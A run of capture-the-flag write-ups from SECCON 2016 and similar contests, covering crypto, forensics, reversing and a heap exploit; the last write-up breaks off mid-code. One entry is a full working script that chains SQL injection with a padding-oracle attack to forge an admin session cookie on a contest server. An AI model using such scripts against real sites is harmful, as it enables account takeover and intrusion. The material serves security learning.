In the task we get a lot of [files](encrypted.zip) with a large number as filename and a single byte as content.The goal of this task is to extract contents from all files which have a prime number as name.We do this with a simple script and gmpy2.is_prime():
```pythonimport codecsimport osfrom gmpy2 import is_prime
def main(): basedir = "/tmp/encrypted" result = "" for filename in os.listdir(basedir): if is_prime(int(filename)): with codecs.open(basedir + "/" + filename, "r") as input_file: data = input_file.read()[:-1] result += data print('result', result)
main()```
Which gives the flag: `c93c0f30299130cde942fce8ec5dd0b3012dcfa478a4ab2314ee525098fb779e2812d6731d372bae6d71e220a6`
###PL version
W zadaniu dostajemy dużo [plików](encrypted.zip) z dużą liczbą jako nazwa pliku i jednym bajtem zawartości.Celem jest pobranie zawartości ze wszystkich plików, których nazwa jest liczbą pierwszą.Robimy to za pomocą skryptu i gmpy2.is_prime():
```pythonimport codecsimport osfrom gmpy2 import is_prime
def main(): basedir = "/tmp/encrypted" result = "" for filename in os.listdir(basedir): if is_prime(int(filename)): with codecs.open(basedir + "/" + filename, "r") as input_file: data = input_file.read()[:-1] result += data print('result', result)
main()```
Co daje nam flage: `c93c0f30299130cde942fce8ec5dd0b3012dcfa478a4ab2314ee525098fb779e2812d6731d372bae6d71e220a6` |
# mboard
Author: meh@HITCON
### Description ```mboardHost : mboard.pwn.seccon.jpPort : 8273Execute command : ./mvees_sandbox --replicas=1 --level=2 --out-limit=8192 --deny=11 ./mboard 2>&1```This challenge is running in a sandbox. This sandbox runs two processes simultaneously and check the output and syscalls. The check of memcmp is unused, so leaking some address is available.
### Vulnerability
The vulnerability of mboard is just the same as HeartAttack ... found it immediately. Many vulnerabilities in this CTF are the same as past CTFs. :/ The vulnerable function:```csize_t getnline(char *buf, size_t nbytes){ char *p; read(0, buf, nbytes); p = strchr(buf, '\n'); if(p) *p = 0; return strlen(buf);}```It's pretty obvious because other challenges use "fgets" instead of "read" here. The buf is not null-terminated, so the result of strchr may be out of bounds.
### Exploit
We use the vul to shrink the chunk size, and then use unlink to get a big chunk. (Read this again: http://www.slideshare.net/AngelBoy1/advanced-heap-exploitaion) The chunks after unlink is like: ``` / freed in unsortbin \.------------.---------.---------------.| unused | entry | untracked |.------------.---------.---------------.``` Then we can add an entry and the message will overwrite the entry in this chunk. The struct of entry:```c struct entry{ char name[16]; char *msg;};```So we can modify the msg pointer to anywhere and free/realloc it. The main problem of this challenge is the sandbox. We need to keep both processes alive, but using an address will lead the second process to crash because of segfault (invalid access). It seems impossible to bypass because we have to use the libc function, and I cannot find a way without using an address. So we decide to brute force the libc address. The architecture is x86, so the possibility of two processes having same libc base is 2^12=4096. Seems acceptable even if this program sleeps a lot. Really hate brute force ... To avoid using heap/text/stack address, we put the data on the mmap page and attack with dtor_list.
First, we register many times to make the list extend, and modify the overflowed entry (normally). ``` heap offset0x758 0x7d8 .---------------.-----------------------.| msg | list |.---------------.-----------------------.``` Then we partially overwrite the msg pointer and make it points to the list. Now, the list is fully controlled by modifying the entry. We make a fake entry in the TLS section, just in front of dtor_list. ```TLS section 0 0x10 0x14-------------------------------------------- | | *dtor_list |--------------------------------------------............................................ | name | *msg |............................................ ^ | fake entry```Then we modify this entry. The behaviour of realloc is the same as malloc when the old pointer is NULL (dtor_list is NULL generally), so the dtor_list will be set to our msg. ```c// __call_tls_dtors() will be called in exit()struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;};```We set the func to somewhere in setcontext and obj to the address of our chunk on the mmap page, then exit. ```setcontext gadget:.text:00040D61 mov ecx, [eax+4Ch].text:00040D64 mov esp, [eax+30h].text:00040D67 push ecx.text:00040D68 mov edi, [eax+24h].text:00040D6B mov esi, [eax+28h].text:00040D6E mov ebp, [eax+2Ch].text:00040D71 mov ebx, [eax+34h].text:00040D74 mov edx, [eax+38h].text:00040D77 mov ecx, [eax+3Ch].text:00040D7A mov eax, [eax+40h].text:00040D7D retn```Finally, we can do ROP to run shellcode and do open-read-write. It only took a few minutes to get the flag after we changed the filename to flag.txt (connected from Taiwan, 16 threads). |
バイナリファイルが渡され、調べてみると Windows の exe ファイルだったので Windows 上で起動。起動するとパスワードを聞かれ、パスワードが違うと言われた。Windows のバイナリデバッグはしたことがなかったので、全体的に yuta1024 に手伝ってもらって（というよりほぼ教えてもらって）実施。まずは OllyDbg をインストールした。https://blog.nhiroki.net/2016/12/11/seccon-2016-online-ctf-writeup/captureOllyDbg には上の画像のような文字列検索機能があり、それぞれ参照元の命令がある場所も検出できた。パスワードが違う的なエラーの周辺で、色々している判定っぽい処理があったので、そこで一旦止めると “I have a pen.” という文字列がメモリ上にあった。これがパスワードではないかと推測して入力すると表示が変わり、今度はデバッグ環境であることが検出された。デバッグではない環境で実行するとパスワードが正しいと言われたが何も表示されなかった。エラーメッセージには OllyDbg や VMware などいろいろなものが書かれており、その少し前のコードを見るとだいたい直前に「CMP DWORD PTR SS:[***],*」「JNZ SHORT bin.********」の二つを実施しており、おそらくは正規の実行では通らないようになっていたので、 OllyDbg の機能で JNZ を JMP に（命令の一バイト目を 0x75 から 0xEB に）書き換えた。すると、今度はゼロ除算で落ちるようになった。その部分の IDIV 命令（上の画像の 0x4015DE）だけ NOP で塗りつぶすと、何もしないで正常終了するようになった。文字列一覧では暗号化されたフラグと思わしき意味ありげな文字列があったので、その参照元を見るとその IDIV と同じ関数の少し下にあった。そのため、落ちる IDIV から、フラグと思わしき文字列の参照元の直前までを NOP で塗りつぶして実行すると、フラグが出力された。 |
<span>VoIPExtract a voice.The flag format is SECCON{[A-Z0-9]}.
First we open .cap file with Wireshark which is given in the question. From Telephony menu we selected the VoIP Calls option. In Wireshark popup we were able to play stream. In stream the flag was given.
Flag : SECCON{9001IVR}</span> |
# Hastad (crypto 400)
###ENG[PL](#pl-version)
In the task we get the same unpadded message encrypted via RSA using 3 different public keys, but with the same exponent `e = 3`.This means we can utilize Hastad Broadcast Attack here to recover the message thanks to Chinese Reminder Theorem.
The public exponent is 3 in all cases so what we have is in fact:
```m^e = y1 mod n1m^e = y2 mod n2m^e = y3 mod n3```
From Chinese Reminder Theorem we know it's possible to recover `m^e`, and once we have it, we only need to get k-th integer root to get the flag:
```pythonfrom src.crypto_commons.generic import long_to_bytesfrom src.crypto_commons.rsa.rsa_commons import hastad_broadcast
def main(): n1 = 95118357989037539883272168746004652872958890562445814301889866663072352421703264985997800660075311645555799745426868343365321502734736006248007902409628540578635925559742217480797487130202747020211452620743021097565113059392504472785227154824117231077844444672393221838192941390309312484066647007469668558141 n2 = 98364165919251246243846667323542318022804234833677924161175733253689581393607346667895298253718184273532268982060905629399628154981918712070241451494491161470827737146176316011843738943427121602324208773653180782732999422869439588198318422451697920640563880777385577064913983202033744281727004289781821019463 n3 = 68827940939353189613090392226898155021742772897822438483545021944215812146809318686510375724064888705296373853398955093076663323001380047857809774866390083434272781362447147441422207967577323769812896038816586757242130224524828935043187315579523412439309138816335569845470021720847405857361000537204746060031 c1 = 64830446708169012766414587327568812421130434817526089146190136796461298592071238930384707543318390292451118980302805512151790248989622269362958718228298427212630272525186478627299999847489018400624400671876697708952447638990802345587381905407236935494271436960764899006430941507608152322588169896193268212007 c2 = 96907490717344346588432491603722312694208660334282964234487687654593984714144825656198180777872327279250667961465169799267405734431675111035362089729249995027326863099262522421206459400405230377631141132882997336829218810171728925087535674907455584557956801831447125486753515868079342148815961792481779375529 c3 = 43683874913011746530056103145445250281307732634045437486524605104639785469050499171640521477036470750903341523336599602288176611160637522568868391237689241446392699321910723235061180826945464649780373301028139049288881578234840739545000338202917678008269794179100732341269448362920924719338148857398181962112 print(long_to_bytes(hastad_broadcast([(c1, n1), (c2, n2), (c3, n3)])))
main()```
Using some functions from our crypto-commons:
```pythondef solve_crt(residue_and_moduli): """ Solve CRT for given modular residues and modulus values, eg: x = 1 mod 3 x = 2 mod 4 x = 3 mod 5 x = 58 residue_and_moduli = [(1,3), (2,4), (3,5)] :param residue_and_moduli: list of pairs with (modular residue mod n, n) :return: x """ moduli = [x[1] for x in residue_and_moduli] residues = [x[0] for x in residue_and_moduli] N = reduce(lambda x, y: x * y, moduli) Nxs = [N / n for n in moduli] ds = [modinv(N / n, n) for n in moduli] mults = [residues[i] * Nxs[i] * ds[i] for i in range(len(moduli))] return reduce(lambda x, y: x + y, mults) % N
def hastad_broadcast(residue_and_moduli): """ Hastad RSA attack for the same message encrypted with the same public exponent e and different modulus. Requires exactly 'e' pairs as input :param residue_and_moduli: list of pairs (residue, modulus) :return: decrypted message """ import gmpy2 k = len(residue_and_moduli) solution, _ = gmpy2.iroot(solve_crt(residue_and_moduli), k) assert residue_and_moduli[0][0] == pow(int(solution), k, residue_and_moduli[0][1]) return solution```
And this gives the flag: `theoretical_computer_scientist_johan_torkel_hastad`
###PL version
W zadaniu mamy do czynienia z wiadomością szyfrowaną za pomocą RSA bez paddingu przy użyciu 3 różnych kluczy, ale z tym samym wykładnikiem `e = 3`.To oznacza że możemy użyć Hastad Broadcast Attack aby odzyskać wiadomość za pomocą Chińskiego Twierdzenia o Resztach.
Wykładnik dla wszystkich 3 szyfrogramów wynosi 3 więc mamy:
```m^e = y1 mod n1m^e = y2 mod n2m^e = y3 mod n3```
Z Chińskiego Twierdzenia o Resztach wiemy że można odzyskać z takiego układu `m^e`, a wtedy potrzebujemy już tylko wyliczyć k-ty pierwiastek całkowity aby dostać flagę:
```pythonfrom src.crypto_commons.generic import long_to_bytesfrom src.crypto_commons.rsa.rsa_commons import hastad_broadcast
def main(): n1 = 95118357989037539883272168746004652872958890562445814301889866663072352421703264985997800660075311645555799745426868343365321502734736006248007902409628540578635925559742217480797487130202747020211452620743021097565113059392504472785227154824117231077844444672393221838192941390309312484066647007469668558141 n2 = 98364165919251246243846667323542318022804234833677924161175733253689581393607346667895298253718184273532268982060905629399628154981918712070241451494491161470827737146176316011843738943427121602324208773653180782732999422869439588198318422451697920640563880777385577064913983202033744281727004289781821019463 n3 = 68827940939353189613090392226898155021742772897822438483545021944215812146809318686510375724064888705296373853398955093076663323001380047857809774866390083434272781362447147441422207967577323769812896038816586757242130224524828935043187315579523412439309138816335569845470021720847405857361000537204746060031 c1 = 64830446708169012766414587327568812421130434817526089146190136796461298592071238930384707543318390292451118980302805512151790248989622269362958718228298427212630272525186478627299999847489018400624400671876697708952447638990802345587381905407236935494271436960764899006430941507608152322588169896193268212007 c2 = 96907490717344346588432491603722312694208660334282964234487687654593984714144825656198180777872327279250667961465169799267405734431675111035362089729249995027326863099262522421206459400405230377631141132882997336829218810171728925087535674907455584557956801831447125486753515868079342148815961792481779375529 c3 = 43683874913011746530056103145445250281307732634045437486524605104639785469050499171640521477036470750903341523336599602288176611160637522568868391237689241446392699321910723235061180826945464649780373301028139049288881578234840739545000338202917678008269794179100732341269448362920924719338148857398181962112 print(long_to_bytes(hastad_broadcast([(c1, n1), (c2, n2), (c3, n3)])))
main()```
Używając kilku funkcji z naszych crypto-commons:
```pythondef solve_crt(residue_and_moduli): """ Solve CRT for given modular residues and modulus values, eg: x = 1 mod 3 x = 2 mod 4 x = 3 mod 5 x = 58 residue_and_moduli = [(1,3), (2,4), (3,5)] :param residue_and_moduli: list of pairs with (modular residue mod n, n) :return: x """ moduli = [x[1] for x in residue_and_moduli] residues = [x[0] for x in residue_and_moduli] N = reduce(lambda x, y: x * y, moduli) Nxs = [N / n for n in moduli] ds = [modinv(N / n, n) for n in moduli] mults = [residues[i] * Nxs[i] * ds[i] for i in range(len(moduli))] return reduce(lambda x, y: x + y, mults) % N
def hastad_broadcast(residue_and_moduli): """ Hastad RSA attack for the same message encrypted with the same public exponent e and different modulus. Requires exactly 'e' pairs as input :param residue_and_moduli: list of pairs (residue, modulus) :return: decrypted message """ import gmpy2 k = len(residue_and_moduli) solution, _ = gmpy2.iroot(solve_crt(residue_and_moduli), k) assert residue_and_moduli[0][0] == pow(int(solution), k, residue_and_moduli[0][1]) return solution```
Co daje flagę: `theoretical_computer_scientist_johan_torkel_hastad` |
# Find The Gobblewonker#### 100 Points
### ProblemDo you want to find yourself on an island with monsters? Here are coordinates of it 10.0.17.131 But it`s not as easy as it seems. You need a boat. You will find the boat there: https://scoreboard.ctf.org.ru/vpn/YOU_TEAM_TOKEN.7z
You`ll need this boat for travelling to the other islands. Fair winds and following seas!
### DescriptionWe first need to get the ovpn files by going to the link.Afterwards, we run the opvn file.
```sudo openvpn JuniorsCTF_2016_SST_CTF_1.ovpn```
We now have access to their system. After going to the page 10.0.17.131, we get the flag.
Flag: q8mvbp8sFNPpFj2dZkEkweNEFdBIuhVYkEr2brnj2qstJ3QbAtklx0imht8pdb2PafDIXs3Sxojl3m5q |
Description:<span>I created my own cipher and encrypted the very important file.However, I lost the decryption program because of file system error, so now I cannot read the file.Please help me.Writeup: </span>http://van.prooyen.com/reversing/cryptography/2016/12/11/Lost-Decryption-Writeup.html<span>Downloads:Challenge: </span>https://github.com/docileninja/docileninja.github.io/raw/master/files/lost_decryption.zipSolution: https://github.com/docileninja/docileninja.github.io/blob/master/files/lost.c |
# Diffie-Hellman 1 (crypto 300)
###ENG[PL](#pl-version)
In the task we want to generate a shared secret via Diffie Hellman protocol.We have 3 participants, but we know all the parameters only for 2 of them.We are given:
```p = 8986158661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251g = 6gc = 5361617800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617 # g^c mod pa = 230b = 250```
So we know the secret values for participants `a` and `b` but for participant `c` we know only the public part of his secret - `g^c mod p`.Forunately this is all we need to establish the shared key.After all this is how it's done in real life - everyone gets only this public secret.
The shared secret is simply `g^abc mod p`, and for this we don't need `c` if we already have `g^c mod p`:
```pythonsecret = pow(pow(gc, a, p), b, p)```
And the first 20 characters are the flag: ```38058349620867258480```###PL version
W zadaniu chcemy wygenerować wspólny klucz za pomocą protokołu Diffiego Hellmana.Mamy 3 uczestników ale znamy wszystkie parametry tylko dla 2 z nich.Znamy:
```p = 8986158661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251g = 6gc = 5361617800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617 # g^c mod pa = 230b = 250```
Więc mamy sekretne wartości dla uczestników `a` oraz `b` ale dla `c` znamy tylko publiczną cześć jego sekretu - `g^c mod p`.Szczęśliwie to jest wszystko co potrzebujemy aby ustanowić wspólny klucz.Generalnie tak przebiega to w prawdziwym życiu - każdy inny uczestnik zna tylko publiczny sekret.
Wspólny sekret to po prostu: `g^abc mod p`, a do tego nie potrzeba nam wartości `c` jeśli znamy już `g^c mod p`:
```pythonsecret = pow(pow(gc, a, p), b, p)```
I pierwsze 20 znaków daje flage: ```38058349620867258480``` |
# DES (Crypto 500)
###ENG[PL](#pl-version)
The general idea was simple - the authors used double encryption with DES and Blowfish and the task was to decode the message.
The problems:
* Authors used some shady website for encryption and not the ciphers directly. This website was adding random paddings and without knowing about it, there was no way to solve it. Fortunately this was released as a hint.* The authors for no apparent reason have given an example payload apart from the flag. This suggested a meet-in-the-middle attack using this payload, which was not a good approach, because the example payload was encrypted with different keys than the flag.* The calculations for this task were a bit time consuming due to key universum size. Seriously, there is no need to make a task where bruteforce is taking minutes to run on 8 paralell cores. It doesn't make the task any "harder", only more annoying.
So what we have here is the encrypted flag:
```AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg==```
And we know that the flag was encrypted first with DES with padding, the data were transformed into base64 and this was encrypted again with Blowfish with padding and it was encoded as base64.We also know that both keys are in the range 0-9999999.
So we run bruteforce first on the outer layer - to decode Blowfish and take all proper base64 results as potential hits.And then we take those results and try to decode them with DES to look for the flag.There is slim chance that such long payload decoded with improper Blowfish key would give us base64 string, and in fact we got only a single hit there.So we run the bruteforecer:
```pythonimport base64import stringfrom Crypto.Cipher import DES, Blowfishfrom multiprocessing import freeze_supportfrom src.crypto_commons.brute.brute import brute
def is_printable(decrypted): for i in range(len(decrypted)): if decrypted[i] not in string.printable: return False return True
def combine(partials): results = {} for partial in partials: for key, value in partial.items(): results[key] = value return results
def worker_blowfish(data): first, payload = data results = {} for i in range(10000000): key = str(first) + '{:07}'.format(i) e = Blowfish.new(key) decrypted = e.decrypt(payload)[8:] try: if is_printable(decrypted[:-8]): real_data = base64.b64decode(decrypted)[8:] results[key] = real_data print('potential match ', key, real_data) except: pass return results
def worker_des(data): first, payload = data results = {} for i in range(10000000): key = str(first) + '{:07}'.format(i) e = DES.new(key) decrypted = e.decrypt(payload)[8:] if is_printable(decrypted[:-8]): results[key] = decrypted print('potential flag ', key, decrypted) return results
def main(): cipher = base64.b64decode( 'AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg==') data = [(i, cipher) for i in range(10)] partials = brute(worker_blowfish, data, 10) candidates = combine(partials) print(candidates)
for candidate_key, candidate_value in candidates.items(): data = [(i, candidate_value) for i in range(10)] partials = brute(worker_des, data, 10) print(combine(partials))
if __name__ == '__main__': freeze_support() main()```
where brute() comes from our crypto-commons and is simply:
```pythonimport multiprocessing
def brute(worker, data_list, processes=8): """ Run multiprocess workers :param worker: worker function :param data_list: data to distribute between workers, one entry per worker :param processes: number of parallel processes :return: list of worker return values """ pool = multiprocessing.Pool(processes=processes) return pool.map(worker, data_list)```
From this we get the decoded data:
```ZeroNights is a perfect place to discuss new attack methods and threats. It shows ways to attack and defend to its guests, and suggests unorthodox approach to cybersecurity problems solving. ```
###PL version
Generalna idea zadania była dość prosta - autorzy zaszyfrowali flagę najopiers DESem a potem Blowfishem a naszym zadaniem jest ją zdekodować.
Problemy:
* Autorzy użyli jakiejś dziwnej strony do szyfrowania, a nie bezpośrednio szyfrów. Ta strona dodawała losowy padding i jeśli o tym nie wiemy to nie damy rady zrobić zadania. Na szczęście później zotało to ujęte jako hint.* Autorzy bez powodu dodali w zadaniu drugi payload oprócz flagi. Było to mocno mylące bo suguerowało atak meet-in-the-middle, który był tutaj błędem, ponieważ przykładowy payload używał innych kluczy niż flaga.* Obliczenia były czasochłonne ze względu na rozmiar kluczy. Poważnie, nie ma potrzeby podawać w zadaniu danych wymagajacych minut obliczeń na 8 równoległych rdzeniach. To wcale nie sprawia że zadanie jest "trudniejsze", tylko bardziej wkurzające.
Mamy daną zaszyfrowaną flagę:
```AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg==```
Wiemy że flaga została najpierw zaszyfrowana DESem z paddingiem, następnie enkodowana base64 i zaszyfrowana Blowfishem z paddingiem i znów enkodowana base64.Wiemy że klucze są z zakresu 0-9999999.
Uruchamiamy więc brute-forcer najpierw na zewnętrznej warstwie - aby deszyfrować Blowfisha i wziąć wszystkie poprawne base64 jako potencjalne trafienia.Następnie próbujemy dekodować je DESem szukając flagi.Jest niewielka szansa że payload dekodowany Blowfishem z losowym kluczem da nam poprawny base64 i faktycznie był tylko jeden poprawny ciąg.Więc uruchamiamy bruteforcer:
```pythonimport base64import stringfrom Crypto.Cipher import DES, Blowfishfrom multiprocessing import freeze_supportfrom src.crypto_commons.brute.brute import brute
def is_printable(decrypted): for i in range(len(decrypted)): if decrypted[i] not in string.printable: return False return True
def combine(partials): results = {} for partial in partials: for key, value in partial.items(): results[key] = value return results
def worker_blowfish(data): first, payload = data results = {} for i in range(10000000): key = str(first) + '{:07}'.format(i) e = Blowfish.new(key) decrypted = e.decrypt(payload)[8:] try: if is_printable(decrypted[:-8]): real_data = base64.b64decode(decrypted)[8:] results[key] = real_data print('potential match ', key, real_data) except: pass return results
def worker_des(data): first, payload = data results = {} for i in range(10000000): key = str(first) + '{:07}'.format(i) e = DES.new(key) decrypted = e.decrypt(payload)[8:] if is_printable(decrypted[:-8]): results[key] = decrypted print('potential flag ', key, decrypted) return results
def main(): cipher = base64.b64decode( 'AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg==') data = [(i, cipher) for i in range(10)] partials = brute(worker_blowfish, data, 10) candidates = combine(partials) print(candidates)
for candidate_key, candidate_value in candidates.items(): data = [(i, candidate_value) for i in range(10)] partials = brute(worker_des, data, 10) print(combine(partials))
if __name__ == '__main__': freeze_support() main()```
Gdzie brute() jest z naszego crypto-commons i to zwyczajnie:
```pythonimport multiprocessing
def brute(worker, data_list, processes=8): """ Run multiprocess workers :param worker: worker function :param data_list: data to distribute between workers, one entry per worker :param processes: number of parallel processes :return: list of worker return values """ pool = multiprocessing.Pool(processes=processes) return pool.map(worker, data_list)```
Z tego dostajemy zdekodowane dane:
```ZeroNights is a perfect place to discuss new attack methods and threats. It shows ways to attack and defend to its guests, and suggests unorthodox approach to cybersecurity problems solving. ``` |
from Crypto.Util.number import *from Crypto.Cipher import AESimport requestsimport timeimport base64
def xor(a, b): return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])
def add_pad(s): block_len = 16 pad_len = block_len - len(s) return s + chr(pad_len)*pad_len
def padding_oracle_attack(cipher, plain): after_dec = "" for k in range(1, 17): for i in range(0, 256): pad = xor(after_dec, chr(k)*(k-1)) iv = "A"*16 c = "A"*(16-k) + chr(i) + pad + cipher assert len(iv + c) == 48 uname = "' UNION SELECT 'a', '%s" % (base64.b64encode(iv + c)) url = "http://biscuiti.pwn.seccon.jp/" payload = payload = {"username":uname, "password":""} r = requests.post(url, data=payload)
if r.text.find("Hello") < 0: after_dec = chr(i ^ k) + after_dec print after_dec.encode("hex") break
assert len(after_dec) == 16 prev_cihper = xor(after_dec, plain) return prev_cihper
uname = "' UNION SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaa', 'hoge"url = "http://biscuiti.pwn.seccon.jp/"payload = payload = {"username":uname, "password":""}r = requests.post(url, data=payload)
jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=")
u = base64.b64decode(jsession)j = u[:-16]mac_j = u[-16:]
P = [j[i: i+16] for i in range(0, len(j), 16)]C = [""]*5
P[4] = add_pad(P[4])C[4] = mac_j
for i in reversed(range(1,5)): C[i-1] = padding_oracle_attack(C[i], P[i])
# C = ["88bb7c4931651cb975e48e9008c1a911".decode("hex"),# "6106b1d3251bea689f161c65d85705eb".decode("hex"),# "fc04f5ccfdcfed064cf3200eace65257".decode("hex"),# "d48fa8585b30d06b5b5515659b5f03d8".decode("hex"),# "a853d2fb8dc8d23b5bca133bb84039d7".decode("hex")]
P[4] = add_pad("b:1;}")P[2] = xor(xor(P[4], C[3]), C[1])
uname = "' UNION SELECT 'aaaaaaaaaa%s', 'hoge" % P[2]url = "http://biscuiti.pwn.seccon.jp/"payload = payload = {"username":uname, "password":""}r = requests.post(url, data=payload)
jsession = r.headers['set-cookie'].split("=")[1].replace("%3D", "=")
u = base64.b64decode(jsession)j = u[:-16]mac_j = u[-16:]
P = [j[i: i+16] for i in range(0, len(j), 16)]C = [""]*5
P[4] = add_pad(P[4])C[4] = mac_j
for i in reversed(range(3,5)): C[i-1] = padding_oracle_attack(C[i], P[i])
# C[2] = "3d469b651494c9a3289e00191a6bafb6".decode("hex")
jsession = base64.b64encode('a:2:{s:4:"name";s:26:"aaaaaaaaaaaaaaaaaaaaaaaaaa";s:7:"isadmin";b:1;}'+C[2])url = "http://biscuiti.pwn.seccon.jp/"header = {"Cookie":"JSESSION=%s" % jsession.replace("=","%3D")}r = requests.post(url, headers=header)print r.text
# # <html># <head><title>Login</title></head># <body># Hello aaaaaaaaaaaaaaaaaaaaaaaaaa# SECCON{049a65dae9b075ebb68dd78d7c8c300f3b532065}# <div>Log out</div># </body># </html> |
# Memory Analysis # [SECCON Japan 2016 Online Qualifications] [Forensics]
TASK :
Solution:
First thing we do is see the Process List with Volatility :
One of the svcHOST.exe processes is a Fake , we have to execute more commands to be able to make a guess .We search for the command to prints Process Arguments :
All the "svcHOST.exe"s are followed by an argument , only the one with PID 1776 is not :
So we export it to inspect it :
We pull the strings out of this process and we see that it's calling the internet explorer process , loading a page as it's said in the Task hint .
The website link is : "http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd" , but there's no FLAG in it .
We need to look in the hosts file , we bring it's memory address :
Then we dump it :
We open it to figure out the IP address's mapping for the DN "crattack.tistory.com" :
We change the URL to be "http://153.127.200.178/entry/Data-Science-import-pandas-as-pd" and we get out FLAG .
Bingo .
|
<span><span>English : http://www.repo.kr/2016/12/seccon-2016-online-ctf-binarycrypto500_13.html한국어 : http://www.repo.kr/2016/12/seccon-2016-online-ctf-binarycrypto500.html日本語: </span></span>http://www.repo.kr/2016/12/seccon-2016-online-ctf-binarycrypto500_30.html |
# randomwareSECCON 2016 quals ## description300 points My PC suddenly got broken. Could you help me to recover it please? NOTE: The disk can be virus-infected. DO NOT RUN any programs extracted from the disk outside of sandbox. [disk.qcow2.zip](http://files.quals.seccon.jp/disk.qcow2.zip) Challenge files is huge, please download it first. Password will release after 60min. password: h9nn4c2955kik9qti9xphuxti
## Solution### BootFirst thing I did was boot up the image. I used vmware with`qemu-img convert -f qcow2 -O vmdk disk.qcow2`. It's some custom bootloaderthat starts with  and then shows a rainbow: 
### ExtractI converted qcow image to a raw disk image:`qemu-img convert -f qcow2 -O raw disk.qcow2 disk.raw`.Disk tools didn't work since the MBR was overwritten, so I ended up usingbinwalk to extract the files. First interesting thing was `23D70D`, which is anELF. Looking at strings suggest that it's a Linux kernel, specifically:`Linux version 4.2.9-tinycore (tc@box) (gcc version 5.2.0 (GCC) ) #1999 SMP Mon Jan 18 19:42:12 UTC 2016`.There also looks like a dump of the fs, split across multiple squashfsdirectories, but there wasn't anything all that interesting in there (exceptthat firefox-esr is installed). I ended up doing `grep SECCON . -r` which hasexactly one result: 512CE00, a tar. Extracting that gives `opt/` and the veryinteresting `home/` directory.
### Reversein `home/tc/` there is an ELF `getflag` and an encrypted`h1dd3n_s3cr3t_f14g.jpg`. I resisted the temptation to run `getflag` on my hostand instead dropped it into IDA Pro. It's small and not stripped with only 5non-library functions, and only 3 functions that really matter: `main`,`recdir`, and `encrypt`.
#### main
1. Downloads flag from a local server2. Calls `get_root_dev` (just `stat("/home/", root_dev)` for some reason)3. Calls `get_key` (sets `encrypt_key` to 1024 bytes from `/dev/urandom`)4. Calls `recdir("/home/tc")`5. Writes bootloader from memory to `/dev/sda`
#### recdirWalks the filesystem from `/home/` and calls `encrypt` on files that have anextension in the whitelist which is pdf, xml, bin, txt, or various image andoffice types.
#### encryptEncrypts files with repeated xor key (length 1024). Encryption loop: 
### Decrypt(Brief description of xor: `1^0==1, 0^1==1, 0^0==0, 1^1==0`.`ciphertext = key ^ plaintext` but also `key = plaintext ^ ciphertext`) So, xor block ciphers are vulnerable to known-plaintext attacks, and we justhave to find some plaintext. We know the header of a JPEG, so we can get thefirst few bytes of the key, but that's not enough.
#### mime-typesFortunately, there are also hidden files in the home directory. Searching forwhitelisted file extensions gives some mime-type XML files, and `blocklist.xml`and `revocations.txt` in a Firefox profile. The mime-type files were all < 1024bytes, with the longest, `.local/share/mime/packages/user-extension-xhtml.xml`,being 254 bytes. I happen to have the same file on my computer with a matchingsize, so by xoring the two files I got the first 254 bytes of the key (since`ciphertext ^ plaintext = key`). Around 1/4 of the key still isn't enough toview the image, though, so I moved on to the Firefox files.```xml
